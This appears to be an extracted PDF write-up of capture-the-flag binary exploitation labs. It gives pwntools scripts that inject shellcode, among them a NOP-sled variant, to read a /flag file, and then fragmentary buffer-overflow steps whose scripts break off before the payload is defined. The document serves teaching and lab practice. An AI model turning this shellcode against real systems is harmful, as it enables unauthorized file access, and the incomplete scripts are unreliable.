Binary Exploitation WriteUp 1 PDF
Binary Exploitation WriteUp 1 PDF
import pwn
pwn.context.arch='AMD64'
chall = "/challenge/babyshell_level1"
r = pwn.process(chall)
payload=pwn.asm(f"""
mov rax, 2
mov rsi, 0
mov rdx, 0
lea rdi, [rip + flagtext]
syscall
mov rax, 1
mov rdi, 1
syscall
mov rax, 60
mov rdi, 0
syscall
flagtext:
.ascii "/flag"
""")
r.send(payload)
r.interactive()
import pwn
pwn.context.arch='AMD64'
chall = "/challenge/babyshell_level2"
r = pwn.process(chall)
payload=pwn.asm(f"""
.rept 800
nop
.endr
mov rax, 2
mov rsi, 0
mov rdx, 0
lea rdi, [rip + flagtext]
syscall
mov rax, 1
mov rdi, 1
syscall
mov rax, 60
mov rdi, 0
syscall
flagtext:
.ascii "/flag"
""")
r.send(payload)
r.interactive()
#!/usr/bin/env python
import re
import pwn
pwn.context.update(arch="amd64")
asm = pwn.asm("""
xor rsi, rsi
xor rdx, rdx
mov al, 1
mov dil, 1
syscall
mov al, 60
xor dil, dil
syscall
""")
with pwn.process("/challenge/babyshell_level3") as process:
process.write(asm)
result = process.readallS()
print(result)
/challenge/babymem_level1.0
2. Look for the size of your buffer and enter in one more than it since we are trying to
overflow the buffer
https://wordcounter.net/character-count
/challenge/babymem_level1.1
/challenge/babymem_level2.0
2. In the following python script make sure the indentations are just as they appear
below in case copy pasting throws it off you will also have to edit something on each
line where there is a comment
p = process('/challenge/babymem_level2.0')
print(p.recvall().decode())
3. Run the python script in a split terminal and copy the following values into your
python script. Here is a screenshot
gdb /challenge/babymem_level3.0
5. From here you can copy and paste all the values you will need into the following
python script and run it
#!/bin/python
import pwn
import os
directory = os.listdir("/challenge")[0]
pwn.context.arch = "amd64"
program = pwn.process(f"/challenge/{directory}")
6. From here you can copy and paste all the values you will need into the following
python script and run it
#!/bin/python
import pwn
import os
directory = os.listdir("/challenge")[0]
pwn.context.arch = "amd64"
program = pwn.process(f"/challenge/{directory}")
payload_size = len(payload)